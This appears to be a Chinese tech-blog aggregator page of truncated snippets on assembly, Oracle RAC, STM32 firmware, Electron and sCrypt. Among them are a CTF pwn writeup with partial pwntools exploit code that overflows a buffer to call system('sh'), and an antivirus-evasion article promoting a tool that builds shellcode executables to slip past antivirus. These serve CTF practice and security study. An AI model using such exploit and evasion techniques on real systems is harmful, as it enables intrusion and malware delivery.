ASM

oslab oranges 一个操作系统的实现 实验二 认识保护模式

南楼画角 提交于 2021-02-09 10:01:44
https://github.com/yyu/osfs00 实验目的: 理解 x86架构下的段式内存管理 掌握实模式和保护模式下段式寻址的组织方式、 关键数据结构、代码组织方式 掌握实模式与保护模式的切换 掌握特权级的概念,以及不同特权之间的转移 实验内容: 1. 认真阅读章节资料,掌握什么是保护模式,弄清关键数据结构: GDT、descriptor、selector、GDTR, 及其之间关系,阅读 pm.inc文件中数据结构以及含义,写出对宏Descriptor的分析 2. 调试代码,/a/ 掌握从实模式到保护模式的基本方法,画出代码 流程图,如果代码 /a/中,第71行有dword前缀和没有前缀,编 译出来的代码有区别么,为什么,请调试截图。 3. 调试代码,/b/,掌握GDT的构造与切换,从保护模式切换回实 模式方法 4. 调试代码,/c/,掌握LDT切换 5. 调试代码,/d/掌握一致代码段、非一致代码段、数据段的权限 访问规则,掌握 CPL、DPL、RPL之间关系,以及段间切换的基 本方法 6. 调试代码,/e/掌握利用调用门进行特权级变换的转移 代码对应 iso中chapter3 实验解决问题与课后动手改: 1. GDT、Descriptor、Selector、GDTR结构,及其含义是什么?他 们的关联关系如何? pm.inc所定义的宏怎么使用? 2.

buuoj Pwn writeup 21-30

喜夏-厌秋 提交于 2021-02-08 09:34:38
21 ciscn_2019_ne_5 保护 这个地方的strcpy函数,一看就估摸着有问题。 他把src那块的东西复制到了dest 但是你会发现 dest那里 0x48 但是你是可以往src那里输入东西的。 一口气能输128个字节,那这就造成了溢出。 那再说怎么利用 这个地方首先要注意他这里没有/bin/sh,但是有sh 而且还非常隐蔽 所以呢咱们这边推荐之后/bin/sh跟sh的搜索都用ROPgadget。 非常的nice 然后程序里面本来就有system函数,然后就一把梭。 exp from pwn import * context ( log_level = 'debug' ) proc_name = './2019' p = process ( proc_name ) # p = remote('node3.buuoj.cn', 29868) elf = ELF ( proc_name ) system_addr = elf . sym [ 'system' ] main_addr = elf . sym [ 'main' ] sh_str = 0x80482ea p . sendlineafter ( 'password:' , 'administrator' ) p . recv ( ) p . sendline ( '1' ) p . recvuntil (

electron应用以管理员权限启动

帅比萌擦擦* 提交于 2021-01-29 09:21:19
最近在用electron开发PC桌面应用,其中有个需求就是整个应用以管理员权限启动。很头痛,各种google,baidu。 最后终于解决了,可以分为三个步骤,做个总结分享。   一、如果没有manifest.xml文件的话 可通过执行命令:mt.exe -inputresource:某某.exe -out:extracted.manifest导出 manifest.xml;   二、如果有的manifest.xml文件的话,按照标红处修改; <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <dependency> <dependentAssembly> <assemblyIdentity type="Win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity> </dependentAssembly> <

sCrypt IDE 0.5.5 支持 UI 调用有状态合约

人盡茶涼 提交于 2021-01-28 09:17:02
继上次我们推出 sCrypt Deploy 功能后,这次我们新增了调用有状态合约的功能。 本文以 boilerplate 项目中的 advancedCounter 合约为例,介绍如何使用这个功能部署和调用合约。 部署合约 AdvancedCounter 合约是一个有状态的计数器合约,它会在每次成功调用 increment 方法时,将内部状态值 counter 增加 1。这里我们将其初始状态设置为 00 (即从0开始计数),并且合约锁定的 bsv 余额使用默认设置 10000 聪。 使用这个方法 部署合约成功之后,会看到左下角的 DEPLOYED CONTRACTS 增加了一个 AdvancedCounter 合约实例。展开该实例的 transactions 子项,可以看到对应的部署交易。 注意 :如果点击了 Deploy 按钮后,在运行输出中看到这个错误: Error: Contract description version deprecated, Please update your sCrypt extension to the latest version and recompile ,请尝试执行以下步骤:1.打开合约的 sCrypt 源码,右键运行 Compile to Bitcoin Script 进行再次编译;2.点击 COMPILED CONTRACTS 视图里的

基于机智云物联网平台MCU模式基础教程及远程OTA

对着背影说爱祢 提交于 2021-01-26 19:42:31
编写背景: 用户如果将开发了的产品发布上线销售,后期需要更新固件和程序,就需要用到远程OTA固件升级,就能对已发布的产品进行远程升级。 材料准备: 1. 机智云 4G模组GC211,此模组采用中移模组ML302,需烧录机智云 GAgent 固件,可在机智云淘宝店铺购买或者联系商务获取,此模组支持网络,移动,联通,电信4G网络,可前往机智云官方和淘宝店铺购买。 https://shop159680395.taobao.com/ 2.秉火【F103开发板-指南者】 正文: 云端部署 创建新产品,可根据自己需求选择。 添加如下数据点,可根据自己需求 生成 STM32 F103代码下载备用 简述STM32 启动 ARM7/ARM9 内核的控制器在复位后,CPU 会从存储空间的绝对地址0x000000 取出第一条指令执行复位中断服务程序的方式启动,即固定了复位后的起始地址为0x000000(PC =0x000000)同时中断向量表的位置并不是固定的。然而,Cortex-M3 内核启动有3 种情况: 1、通过boot 引脚设置可以将中断向量表定位于SRAM 区,即起始地址为0x2000000,同时复位后PC 指针位于0x2000000 处; 2、通过boot 引脚设置可以将中断向量表定位于FLASH 区,即起始地址为0x8000000,同时复位后PC 指针位于0x8000000 处; 3

Configuring Oracle RAC by VMware Workstation 16

一曲冷凌霜 提交于 2021-01-24 14:28:17
通过本文可以学习到如何使用vmware workstation 16配置共享磁盘以及使用静默方式部署Oracle 19c RAC。这里的asm磁盘组使用oracle的新特性AFD,有关说明请参考官方文档。 1、创建共享磁盘 共享磁盘需要使用命令行创建,这里使用MobaXterm作为终端,如下: [jacky.lee.lee] ➤ export PATH=$PATH:/drives/c/Program\ Files\ \(x86\)/VMware/VMware\ Workstation/ [jacky.lee.lee] ➤ vmware-vdiskmanager.exe -c -s 100GB -t 4 sharedisk01.vmdk [jacky.lee.lee] ➤ vmware-vdiskmanager.exe -c -s 100GB -t 4 sharedisk02.vmdk [jacky.lee.lee] ➤ vmware-vdiskmanager.exe -c -s 100GB -t 4 sharedisk03.vmdk [jacky.lee.lee] ➤ vmware-vdiskmanager.exe -c -s 100GB -t 4 sharedisk04.vmdk [jacky.lee.lee] ➤ vmware-vdiskmanager.exe -c -s

执行方式免杀之内联汇编(FUD101连载三)

风格不统一 提交于 2021-01-23 05:21:30
声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 前言 针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases] 工具界面如下: 效果如下: 学习免杀,汇编是一个永远绕不开的话题。这一章节,我们将学习汇编一些常见的指令,通过这些指令执行我们的 shellcode 可以取得很好的免杀效果。当然,我们学习的仅是汇编中比较基础的部分,更多的内容需要自己不断地学习研究。 No.1 基础知识 寄存器 通用寄存器可用于传送和暂存数据,也可参与算术逻辑运算,并保存运算结果。32位通用寄存器有 8 个: 常见操作码 花指令 花指令指一些没有实际意义的指令,执行或不执行它们对最后的结果不会带来影响,但可以增加反汇编分析的难度,甚至会干扰反汇编程序的正常工作

STM32延时函数的四种方法

本小妞迷上赌 提交于 2021-01-21 09:38:51
单片机编程过程中经常用到延时函数,最常用的莫过于微秒级延时delay_us()和毫秒级delay_ms()。本文基于STM32F207介绍4种不同方式实现的延时函数。 1、普通延时 这种延时方式应该是大家在51单片机时候,接触最早的延时函数。这个比较简单,让单片机做一些无关紧要的工作来打发时间,经常用循环来实现,在某些编译器下,代码会被优化,导致精度较低,用于一般的延时,对精度不敏感的应用场景中。 //微秒级的延时 void delay_us(uint32_t delay_us) { volatile unsigned int num; volatile unsigned int t; for (num = 0; num < delay_us; num++) { t = 11; while (t != 0) { t--; } } } //毫秒级的延时 void delay_ms(uint16_t delay_ms) { volatile unsigned int num; for (num = 0; num < delay_ms; num++) { delay_us(1000); } } 上述工程源码仓库: https://github.com/strongercjd/STM32F207VCT6/tree/master/02-Template 2、定时器中断 定时器具有很高的精度

Oracle RAC原理详解

安稳与你 提交于 2021-01-14 02:34:01
real application clusters(RAC) 1、什么是cluster 一个cluster是由两个或多个独立的、通过网络连接的servers组成的。集群的目的主要有两方面:提高可用性,在当前活动的node发生故障时自动转移到次节点node;提供分布式的连接,提高工作的可扩展性。集群对外可以看做一个单独的server,像管理单独server一样管理cluster中的servers。简而言之一个Cluster就是一组独立的servers,共同协作,组成一个single system。 2、什么是Oracle real Application Cluster(RAC) RAC是oracle的一个软件结构,将数据库files存放在物理或是逻辑上连接每个节点的磁盘上。RAC软件管理着数据的访问,更改操作在Instances之间是被相互协调的,以便于每个节点上活动的Instance都可以对files进行读写操作,并且每个Instance看到的信息和数据镜像都是一致的。通过RAC结构,可以获得冗余,即使在一个实例crash或是不可访问时,应用程序也可通过其他Instance访问Database。 3、为什么使用RAC RAC可以高度利用标准的Cluster,降低模块servers成本。 RAC自动的提供了服务的工作量管理。应用程序的服务可以被分组或分类

Oracle rac架构和原理

给你一囗甜甜゛ 提交于 2021-01-14 00:57:19
Oracle RAC Oracle Real Application Cluster (RAC,实时应用集群)用来在集群环境下实现多机共享数据库,以保证应用的高可用性;同时可以自动实现并行处理及负载均衡,并能实现数据库在故障时的容错和无断点恢复。它是oracle数据库支持网络计算环境的核心技术。它是oracle数据库支持网络计算环境的核心技术。 rac架构和原理" title="Oracle rac架构和原理" width="539" height="224"> 共享缓存技术 减少io负担 多主机共享一个数据库,每个节点宕掉后,通过vip到下一个节点 rac架构和原理" title="Oracle rac架构和原理" width="690" height="484"> rac架构和原理" title="Oracle rac架构和原理" width="690" height="507"> rac架构和原理" title="Oracle rac架构和原理" width="690" height="450"> rac架构和原理" title="Oracle rac架构和原理" width="690" height="433"> rac架构和原理" title="Oracle rac架构和原理" width="690" height="496"> Oracle RAC的原理 集群环境层面: